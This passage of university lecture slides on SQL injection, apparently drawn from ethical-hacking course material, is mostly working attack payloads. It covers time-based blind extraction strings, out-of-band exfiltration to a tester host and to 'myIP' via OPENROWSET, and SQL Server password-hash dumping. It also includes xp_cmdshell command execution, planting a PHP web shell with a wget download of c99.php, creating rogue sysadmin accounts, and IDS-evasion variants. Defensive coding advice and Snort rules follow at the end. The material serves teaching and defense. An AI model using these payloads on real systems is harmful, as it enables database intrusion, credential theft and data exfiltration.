xtype=char(85)),1,1)))=101) WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)),2,1)))=109) WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)),3,1)))=112) WAITFOR DELAY '00:00:10'--
```

Table Name = EMP (Considering that the database returned true for above statement)

Blind SQL Injection: Extract Column Name

Extract 1st Table Column Name

```
http://www.juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP')=3) WAITFOR DELAY '00:00:10'--

http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP'),1,1)))=101) WAITFOR DELAY '00:00:10'--

http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP'),2,1)))=105) WAITFOR DELAY '00:00:10'--

http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP'),3,1)))=100) WAITFOR DELAY '00:00:10'--
```

Column Name = EID (Considering that the database returned true for above statement)

Extract 2nd Table Column Name

```
http://www.juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 column_name from ABCD.information_schema.columns where
table_name='EMP' and column_name>'EID')=4) WAITFOR DELAY '00:00:10'--

http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP' and column_name>'EID'),1,1)))=100) WAITFOR DELAY '00:00:10'--

http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP' and column_name>'EID'),2,1)))=101) WAITFOR DELAY '00:00:10'--

http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP' and column_name>'EID'),3,1)))=112) WAITFOR DELAY '00:00:10'--

http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from
ABCD.information_schema.columns where table_name='EMP' and column_name>'EID'),4,1)))=116) WAITFOR DELAY '00:00:10'--
```

Column Name = DEPT (Considering that the database returned true for above statement)

Blind SQL Injection: Extract Data From ROWS

Extract 1st Field of 1st Row

```
http://www.juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 EID from EMP)=3) WAITFOR DELAY
'00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 EID from EMP),1,1))=106)
WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 EID from EMP),2,1))=111)
WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 EID from EMP),3,1))=101)
WAITFOR DELAY '00:00:10'--
```

Field Data = JOE (Considering that the database returned true for above statement)

Extract 2nd Field of 1st Row

```
http://www.juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 DEPT from EMP)=4) WAITFOR DELAY
'00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 DEPT from EMP),1,1))=100)
WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 DEPT from EMP),2,1))=111)
WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 DEPT from EMP),3,1))=109)
WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 DEPT from EMP),3,1))=112)
WAITFOR DELAY '00:00:10'--
```

Field Data = COMP (Considering that the database returned true for above statement)

Perform Double Blind SQL Injection: Classical Exploitation (MySQL)

- This exploitation is based on time delays
- Restricting the range of **character search** increases performance

Classical implementation:

```
/?id=1+AND+if((ascii(lower(substring((select password from user
limit 0,1),0,1))))=97,1,benchmark(2000000,md5(now())))
```

We can conjecture that the character was guessed right on the basis of the **time delay** of web server response

Manipulating the value **2000000**: we can achieve acceptable performance for a concrete application

Function `sleep()` represents an analogue of function `benchmark()`. Function sleep() is more secure in the given context, because it doesn't use server resources.

Perform Blind SQL Injection Using Out of Band Exploitation Technique

- This technique is useful when the tester finds a **Blind SQL Injection** situation
- It uses **DBMS functions** to perform an out of band connection and provide the results of the injected query as part of the request to the tester's server

  Note: Each DBMS has its own functions, check for specific DBMS section

- **Consider the SQL query shown below:** `SELECT * FROM products WHERE id_product=$id_product`
- **Consider the request to a script who executes the query above:**
  `http://www.example.com/product.php?id=10`
- **The malicious request would be:** `http://www.example.com/product.php?id=10||UTL_HTTP.request ('testerserver.com:80')||(SELET user FROM DUAL)–`

- In example above, the tester is concatenating the value 10 with the result of the function `UTL_HTTP.request`
- This Oracle function tries to connect to '**testerserver**' and make a **HTTP GET** request containing the return from the query "**SELECT user FROM DUAL**"
- The tester can set up a webserver (e.g. Apache) or use the Netcat tool

```
/home/tester/nc -nLp 80
GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close
```

Exploitation Second-Order SQL Injection

- Second order SQL injection occurs when **data input** is **stored** in database and **used** in processing another SQL query without validating or without using **parameterized queries**
- By means of Second-order SQL injection, depending on the **backend database**, database **connection settings** and the **operating system**, an attacker can:
  - **Read**, **update** and **Delete** arbitrary data or arbitrary tables from the database
  - Execute commands on the underlying **operating system**

Sequence of actions performed in a second-order SQL injection attack

- The attacker submits a crafted input in an **HTTP request**
- The application **saves the input in the database** to use it later and gives response to the HTTP request
- Now, the attacker submits **another request**
- The web application processes the **second request using the first input stored** in database and executes the **SQL injection Query**
- The results of the query in response to the second request are **returned to the attacker**, if applicable

SQL Injection Methodology

Database, Table and Column Enumeration

Identify User Level Privilege

There are several SQL built-in scalar functions that will work in most SQL implementations:
user or *current_user, session_user, system_user*

```
' and 1 in (select user ) --
'; if user ='dbo' waitfor delay '0:0:5 '--
' union select if( user() like 'root@%',
benchmark(50000,sha1('test')), 'false' );
```

DB Administrators

- Default administrator accounts include **sa**, **system**, **sys**, **dba**, **admin**, **root** and many others
- The **dbo** is a user that has implied permissions to perform all activities in the database.
- Any object created by any member of the **sysadmin** fixed server role belongs to **dbo** automatically

Discover DB Structure

Determine table and column names

```
' group by columnnames having 1=1 --
```

Discover column name types

```
' union select sum(columnname ) from tablename
--
```

Enumerate user defined tables

```
' and 1 in (select min(name) from sysobjects
where xtype = 'U' and name > '.') --
```

Column Enumeration in DB

MS SQL

```
SELECT name FROM syscolumns
WHERE id = (SELECT id FROM
sysobjects WHERE name =
'tablename ')
sp_columns tablename
```

MySQL

```
show columns from tablename
```

Oracle

```
SELECT * FROM all_tab_columns
WHERE table_name='tablename '
```

DB2

```
SELECT * FROM
syscat.columns
WHERE tabname= 'tablename '
```

Postgres

```
SELECT attnum,attname from
pg_class, pg_attribute
WHERE relname= 'tablename '
AND pg_class.oid=attrelid
AND attnum > 0
```

Advanced Enumeration

Oracle	MS Access	MySQL	MS SQL Server
SYS.USER_OBJECTS	MsysACEs	mysql.user	sysobjects
SYS.TAB, SYS.USER_TABLES	MsysObjects	mysql.host	syscolumns
SYS.USER_VIEWS	MsysQueries	mysql.db	systypes
SYS.ALL_TABLES	MsysRelationships		sysdatabases
SYS.USER_TAB_COLUMNS			
SYS.USER_CATALOG			

Tables and columns enumeration in one query

```
' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' +
systypes.name, 1, 1, '1', 1, 1, 1, 1, 1  from sysobjects, syscolumns,
systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND
syscolumns.xtype = systypes.xtype --
```

Database Enumeration

Different databases in Server

```
' and 1 in (select min(name ) from  master.dbo.sysdatabases where name >'.' ) --
```

File location of databases

```
' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --
```

Features of Different DBMSs

	MySQL	MSSQL	MS Access	Oracle	DB2	PostgreSQL
String Concatenation	concat(,) concat_ws(delim,)	''+''	" "&" "	''||'	'' concat '' " "+" " ''||''	''||''
Comments	-- and /**/ and #	-- and /*	No	-- and /*	--	-- and /*
Request Union	union	union and ;	union	union	union	union and ;
Sub-requests	v.4.1 >=	Yes	No	Yes	Yes	Yes
Stored Procedures	No	Yes	No	Yes	No	Yes
Availability of information schema or its Analogs	v.5.0 >=	Yes	Yes	Yes	Yes	Yes

- Example (MySQL): SELECT * from table where id = 1 **union select 1,2,3**
- Example (PostgreSQL): SELECT * from table where id = 1; **select 1,2,3**
- Example (Oracle): SELECT * from table where id = 1 **union select null,null,null from sys.dual**

Creating Database Accounts

Microsoft SQL Server

```
exec sp_addlogin 'victor', 'Pass123'
exec sp_addsrvrolemember 'victor',
'sysadmin'
```

Oracle

```
CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;
```

Microsoft Access

```
CREATE USER victor
IDENTIFIED BY 'Pass123'
```

MySQL

```
INSERT INTO mysql.user (user, host,
password) VALUES ('victor',
'localhost', PASSWORD('Pass123'))
```

Password Grabbing

Grabbing SQL Server Hashes

The hashes are extracted using

```
SELECT password FROM master..sysxlogins
```

We then hex each hash

```
begin @charvalue='0x', @i=1,
@length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
 declare @tempint int,
 @firstint int, @secondint int
 select @tempint=CONVERT
 (int,SUBSTRING(@binvalue,@i,1))
 select @firstint=FLOOR
        (@tempint/16)
 select @secondint=@tempint -
        (@firstint*16)
 select @charvalue=@charvalue +
  SUBSTRING (@hexstring,@firstint+1,1) +
 SUBSTRING (@hexstring, @secondint+1, 1)
select @i=@i+1  END
```

And then we just cycle through all passwords

SQL query

```
SELECT name, password FROM sysxlogins
```

To display the hashes through an error message, convert hashes → Hex → concatenate

Password field requires dba access

With lower privileges you can still recover user names and brute force the password

SQL server hash sample

```
0x010034767D5C0CFA5FDCA28C4A56085E65E882E71CB
0ED2503412FD54D6119FFF04129A1D72E7C3194F7284A
7F3A
```

Extract hashes through error messages

```
' and 1 in (select x from temp) --
' and 1 in (select substring (x, 256, 256)
from temp) --
' and 1 in (select substring (x, 512, 256)
from temp) --
' drop table temp --
```

Extracting SQL Hashes (In Single Statement)

```
'; begin declare @var varchar(8000), @xdate1 datetime,
@binvalue varbinary(255), @charvalue varchar(255), @i int,
@length int, @hexstring char(16) set @var=':' select
@xdate1=(select min(xdate1) from master.dbo.sysxlogins
where password is not null) begin while @xdate1 <= (select
max(xdate1) from master.dbo.sysxlogins where password is not
null) begin select @binvalue=(select password from
master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x',
@i=1, @length=datalength(@binvalue), @hexstring =
'0123456789ABCDEF' while (@i<=@length) begin declare @tempint
int, @firstint int, @secondint int select @tempint=CONVERT(int,
SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint - (@firstint*16) select
@charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +
SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end
select @var=@var+' | '+name+'/'+@charvalue from
master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 =
(select isnull(min(xdate1),getdate()) from master..
sysxlogins where xdate1>@xdate1 and password is not null)
end select @var as x into temp end end --
```

Transfer Database to Attacker's Machine

SQL Server can be linked back to the attacker's DB by using **OPENROWSET**. DB Structure is replicated and data is transferred. This can be accomplished by connecting to a remote machine on **port 80**

```
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;
Address=myIP,80;', 'select * from   mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --
```

```
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;
Address=myIP,80;', 'select * from mydatabase.. hacked_sysdatabases')
select *  from user_database.dbo.sysobjects -
```

```
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;
Address=myIP,80;','select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --
```

```
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network DBMSSOCN;
Address=myIP,80;','select * from mydatabase.. table1')
select * from database..table1 --
```

```
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;
Address=myIP,80;', 'select * from mydatabase..table2')
select * from database..table2 --
```

Interacting with the Operating System

There are two ways to interact with the OS:

- Reading and writing system files from disk
- Direct command execution via remote shell

Find passwords and execute commands

Both methods are restricted by the database's running privileges and permissions

MS SQL OS Interaction

```
'; exec master..xp_cmdshell 'ipconfig > test.txt' --
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp
FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data='| ' ;
select @data=@data+txt+' | ' from tmp where txt<@data ;
select @data as x into temp end --
' and 1 in (select substring(x,1,256) from temp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
```

MySQL OS Interaction

```
CREATE FUNCTION sys_exec RETURNS int
SONAME 'libudffmwgj.dll';

CREATE FUNCTION sys_eval RETURNS string
SONAME 'libudffmwgj.dll';
```

Interacting with the File System

LOAD_FILE()

The LOAD_FILE() function within MySQL is used to read and return the contents of a file located within the MySQL server

INTO OUTFILE()

The OUTFILE() function within MySQL is often used to run a query, and dump the results into a file

```
NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*
```

If successful, the injection will display the contents of the passwd file

```
NULL UNION ALL SELECT NULL,NULL,NULL,NULL,'<?php system($_GET["command"]);
?>' INTO OUTFILE '/var/www/juggyboy.com/shell.php'/*
```

If successful, it will then be possible to run system commands via the $_GET global. The following is an example of using wget to get a file:
http://www.juggyboy.com/shell.php?command=wget http://www.example.com/c99.php

Network Reconnaissance Using SQL Injection

Assessing Network Connectivity

- Server name and configuration
  ```
  ' and 1 in (select @@servername ) --
  ' and 1 in (select srvname from
  master..sysservers ) --
  ```
- NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, traceroute?
- Test for firewall and proxies

Network Reconnaissance

- You can execute the following using the `xp_cmdshell` command:
- Ipconfig /all, Tracert myIP, arp –a, nbtstat –c, netstat –ano, route print

Gathering IP information through reverse lookups

Reverse DNS

```
'; exec master..xp_cmdshell 'nslookup
a.com MyIP' --
```

Reverse Pings

```
'; exec master..xp_cmdshell 'ping
10.0.0.75' --
```

OPENROWSET

```
'; select * from OPENROWSET(
'SQLoledb', 'uid=sa; pwd=Pass123;
Network=DBMSSOCN;
Address=10.0.0.75,80;',
'select * from table')
```

Network Reconnaissance Full Query

http://www.juggyboy.com

```
'; declare @var varchar(256); set @var = ' del test.txt &&
arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -
c >> test.txt && netstat -ano >> test.txt && route print >>
test.txt && tracert -w 10 -h 10 google.com >> test.txt';
EXEC master..xp_cmdshell @var --
```

```
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp
FROM 'test.txt' --
```

```
'; begin declare @data varchar(8000) ; set @data=': ' ;
select @data=@data+txt+' | ' from tmp where txt<@data ;
select @data as x into temp end --
```

```
' and 1 in (select substring(x,1,255) from temp) --
```

```
'; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
```

Note: Microsoft has disabled `xp_cmdshell` by default in SQL Server 2005/2008. To enable this feature EXEC sp_configure 'xp_cmdshell', 1 GO RECONFIGURE

SQL Injection Tool: BSQLHacker

SQL Injection Tool: Marathon Tool

- Using Marathon Tool, a malicious user can send **heavy queries** to perform a **Time-Based Blind SQL Injection** attack

Parameter Injection using HTTP GET or POST

SSL support

HTTP proxy connection available

Database Schema extraction from SQL Server, Oracle and MySQL

Authentication methods: Anonymous, Basic, Digest and NTLM

http://marathontool.codeplex.com

SQL Injection Tool: SQL Power Injector

SQL Injection Tool: Havij

- Using this SQL injection tool, an attacker can perform back-end database fingerprint, retrieve DBMS **users and password** hashes, dump **tables and columns**, fetch data from the database, run SQL statements and even access the **underlying file system** and **executing commands** on the operating system

SQL Injection Tool: Tools

SQL Brute
http://www.gdssecurity.com

fatcat-sql-injector
http://code.google.com

Sqlninja
http://sqlninja.sourceforge.net

sqlget
http://www.darknet.org.uk

Absinthe
http://www.darknet.org.uk

Blind Sql Injection Brute Forcer
http://code.google.com

sqlmap
http://sqlmap.org

Darkjumper
http://sourceforge.net

Pangolin
http://nosec.org

SQLPAT
http://www.cqure.net

SQL Injection Tool: Tools

FJ-Injector Framework
http://sourceforge.net

safe3si
https://code.google.com

SQLIer
http://bcable.net

Sqlsus
http://sqlsus.sourceforge.net

SQLEXEC( ) Function
http://msdn.microsoft.com

Automagic SQL Injector
http://www.securiteam.com

SQL Inject-Me
http://labs.securitycompass.com

NTO SQL Invader
http://www.ntobjectives.com

The Mole
http://themole.sourceforge.net

Sql Poizon
http://www.hackforsecurity.net

SQL Injection Tool for Mobile : DroidSQLi

- DroidSQLi is the automated **MySQL injection tool** for Android
- It allows you to test MySQL-based web application against **SQL injection attacks**
- DroidSQLi supports the following injection techniques:
  - **Time based injection**
  - **Blind injection**
  - **Error based injection**
  - **Normal injection**
- It automatically selects the best technique to use and employs some simple **filter evasion methods**

http://www.edgard.net

SQL Injection Tool for Mobile : SQLmapchik

sqlmapchik is a **cross-platform sqlmap GUI** for popular sqlmap tool

https://github.com

Evading IDS

SQL Injection Attack
Internet
Firewall
IDS Filters
Attacker
Attackers use evasion techniques to obscure input strings in order to avoid detection by signature-based detection systems
Signature-based detection systems build a database of SQL injection attack strings (signatures) and then compare input strings against the signature database at runtime to detect attacks
Security Admin
Network
C:/
OS Shell
Actual Data
Database
Web Application

Types of Signature Evasion Techniques

In-line Comment	Obscures input strings by inserting in-line comments between SQL keywords
Char Encoding	Uses built-in CHAR function to represent a character
String Concatenation	Concatenates text to create SQL keyword using DB specific instructions
Obfuscated Codes	Obfuscated code is an SQL statement that has been made difficult to understand
Manipulating White Spaces	Obscures input strings by dropping white space between SQL keyword
Hex Encoding	Uses hexadecimal encoding to represent a SQL query string
Sophisticated Matches	Uses alternative expression of "OR 1=1"

Evasion Techniques: Sophisticated Matches

SQL Injection Characters

- ' or " character String Indicators
- -- or # single-line comment
- /*...*/ multiple-line comment
- + addition, concatenate (or space in URL)
- || (double pipe) concatenate
- % wildcard attribute indicator
- ?Param1=foo&Param2=bar URL Parameters
- PRINT useful as non-transactional command
- @variable local variable
- @@variable global variable
- waitfor delay '0:0:10' time delay

Evading ' OR 1=1 signature

- ' OR 'john' = 'john'
- ' OR 'microsoft' = 'micro'+'soft'
- ' OR 'movies' = N'movies'
- ' OR 'software' like 'soft%'
- ' OR 7 > 1
- ' OR 'best' > 'b'
- ' OR 'whatever' IN ('whatever')
- ' OR 5 BETWEEN 1 AND 7

An IDS signature may be looking for the **'OR 1=1**. Replacing this string with another string will have same effect.

Evasion Technique: Hex Encoding

- Hex encoding evasion technique uses **hexadecimal encoding** to represent a string
- For example, the string '**SELECT**' can be represented by the hexadecimal number **0x73656c656374**, which most likely will not be detected by a signature protection mechanism

Using a Hex Value

```
; declare @x varchar(80);
set @x = X73656c656374
204040766572736 96f6e;
EXEC (@x)
```

This statement uses no single quotes (')

String to Hex Examples

SELECT @@version =
0x73656c656374204
04076657273696f6

DROP Table CreditCard = 0x44524f502054
61626c652043726564697443617264

INSERT into USERS ('Juggyboy', 'qwerty') =
0x494e5345525420696e74
6f205553455253202827 4a7
5676779426f79272c202771
77657274792729

Evasion Technique: Manipulating White Spaces

- White space manipulation technique obfuscates input strings by **dropping or adding white spaces** between SQL keyword and string or number literals without altering execution of SQL statements

- Adding white spaces using **special characters** like tab, carriage return, or linefeeds makes an SQL statement completely untraceable without changing the execution of the statement

  "UNION SELECT" signature is different from "UNION SELECT"

- Dropping spaces from **SQL statements** will not affect its execution by some of the **SQL databases**

  'OR'1'='1' (with no spaces)

Evasion Technique: In-line Comment

Evade signatures that filter white spaces

01

In this technique, white spaces between SQL keywords are **replaced by inserting in-line comments**

02

`/* … */` is used in SQL to delimit multi-row comments

```
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users
/**/WHERE/**/username/**/LIKE/**/'admin'--
```

03

You can use inline comments within SQL keywords

```
'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/
**/OM/**/Users/**/WHE/**/RE/**/
username/**/LIKE/**/'admin'--
```

Evasion Technique: Char Encoding

- Char () function can be used to inject SQL injection statements into MySQL without using double quotes

1. Load files in unions (string = "/etc/passwd"):

```
' union select 1,  (load_file(char(47,101,116,99,
47,112,97,115,115,119,100))),1,1,1;
```

2. Inject without quotes (string = "%"):

```
' or username like char(37);
```

3. Inject without quotes (string = "root"):

```
' union select * from users where
login = char(114,111,111,116);
```

4. Check for existing files (string = "n.ext"):

```
' and 1=( if( (load_file(char(110,46,101,120,116))
<>char(39,39)),1,0));
```

Evasion Technique: String Concatenation

Split instructions to avoid signature detection by using execution commands that allow you to concatenate text in a database server

- Oracle: `'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'`
- MS SQL: `'; EXEC ('DRO' + 'P T' + 'AB' + 'LE')`

Compose SQL statement by concatenating strings instead of parameterized query

- MYSQL: `'; EXECUTE CONCAT('INSE','RT US','ER')`

Evasion Technique: Obfuscated Codes

Examples of obfuscated codes for the string “qwerty”

```
Reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),
lower(mid('TEST',2,1)),replace(0x7074, 'pt','w'),
char(instr(123321,33)+110)))
```

```
Concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),
unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),
char(pow(11,2)))
```

An example of bypassing signatures (obfuscated code for request)

The following request corresponds to the application signature:

```
/?id=1+union+(select+1,2+from+test.users)
```

The signatures can be bypassed by modifying the above request:

```
/?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users))
/?id=1+union+(sELect'1',concat(login,hash)from+test.users)
/?id=(1)union((((((select(1),hex(hash)from(test.users)))))))
```

How to Defend Against SQL Injection Attacks

How to Defend Against SQL Injection Attacks

- Make no assumptions about the **size**, **type**, or **content** of the data that is received by your application
- Test the **size** and **data type of input** and enforce appropriate limits to prevent buffer overruns
- Test the content of **string variables** and accept only **expected values**
- Reject entries that contain **binary data**, **escape sequences**, and **comment** characters
- Never build **Transact-SQL** statements directly from user input and use stored procedures to validate user input
- Implement **multiple layers of validation** and never concatenate user input that is not validated

How to Defend Against SQL Injection Attacks

- Avoid constructing **dynamic SQL** with concatenated input values
- Ensure that the **Web config files** for each application do not contain sensitive information
- Use most **restrictive SQL account types** for applications
- Use Network, host, and application **intrusion detection systems** to monitor the injection attacks
- Perform automated **blackbox injection testing**, **static source code analysis**, and **manual penetration testing** to probe for vulnerabilities
- Keep **untrusted data** separate from commands and queries
- Use **safe API** that offers a parameterized interface or that avoids the use of the interpreter completely

How to Defend Against SQL Injection Attacks

- In the absence of parameterized API, use specific **escape syntax** for the interpreter to eliminate the special characters
- Design the code in such a way it **traps and handles** exceptions appropriately
- Use a **secure hash algorithm** such as SHA256 to store the user passwords rather than in plaintext
- Apply **least privilege rule** to run the applications that access the DBMS
- Use **data access abstraction** layer to enforce secure data access across an entire application
- Validate **user-supplied data** as well as **data** obtained from untrusted sources on the server side
- Ensure that the **code tracing** and **debug messages** are removed prior to deploying an application
- Avoid **quoted/delimited** identifiers as they significantly complicate all whitelisting, black-listing and escaping efforts

How to Defend Against SQL Injection Attacks: Use Type-Safe SQL Parameters

Enforce **Type** and **length checks** using **Parameter Collection** so that input is treated as a literal value instead of executable code

```
SqlDataAdapter myCommand = new SqlDataAdapter("AuthLogin", conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@aut_id",
SqlDbType.VarChar, 11);
parm.Value = Login.Text;
```

In this example, the @aut_id parameter is treated as a literal value instead of as executable code. This value is checked for type and length.

Example of Vulnerable and Secure Code

Vulnerable Code

```
SqlDataAdapter myCommand =
new
SqlDataAdapter("LoginStoredPr
ocedure '" +
Login.Text + "'", conn);
```

Secure Code

```
SqlDataAdapter myCommand = new
SqlDataAdapter( "SELECT aut_lname,
aut_fname FROM Authors WHERE aut_id =
@aut_id", conn); SQLParameter parm =
myCommand.SelectCommand.Parameters.Ad
d("@aut_id", SqlDbType.VarChar, 11);
Parm.Value = Login.Text;
```

How to Defend Against SQL Injection Attacks

SQL Injection Detection Tool: dotDefender

dotDefender is a software based **Web Application Firewall**

It complements the **network firewall, IPS** and other network-based **Internet security** products

It inspects the **HTTP/HTTPS** traffic for suspicious behavior

It detects and blocks **SQL injection** attacks

http://www.applicure.com

SQL Injection Detection Tool: IBM Security AppScan

IBM provides application security and risk management solutions for mobile and web applications

http://www.ibm.com

BUBT | BANGLADESH UNIVERSITY OF BUSINESS AND TECHNOLOGY

Committed to Academic Excellence

SQL Injection Detection Tool: WebCruiser

WebCruiser is a **web vulnerability scanner** that allows you to scan for vulnerabilities such as SQL injection, cross-site scripting, XPath injection, etc.

http://sec4app.com

Short Rule to Detect SQL Injection Attacks

Block these expressions in SNORT

1. /(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
2. /exec(\s|\+)+(s|x)p\w+/ix
3. /((\%27)|(\'))union/ix
4. /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection
- Paranoid";
flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-
)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5;)
```

http://www.snort.org

SQL Injection Detection Tools

HP WebInspect
http://www.hpenterprisesecurity.com

SQLDict
http://ntsecurity.nu

SQLiX
https://www.owasp.org

SQL Block Monitor
http://sql-tools.net

Acunetix Web Vulnerability Scanner
http://www.acunetix.com

GreenSQL Database Security
http://www.greensql.com

Microsoft Code Analysis Tool .NET (CAT.NET)
http://www.microsoft.com

NGS SQuirreL Vulnerability Scanners
http://www.nccgroup.com

WSSA - Web Site Security Scanning Service
http://www.beyondsecurity.com

N-Stalker Web Application Security Scanner
http://www.nstalker.com

Next Class

- **DVWA**
- **sql injection**
- **Sqlmap**
- **Burp Suite**

Thank you

Q & A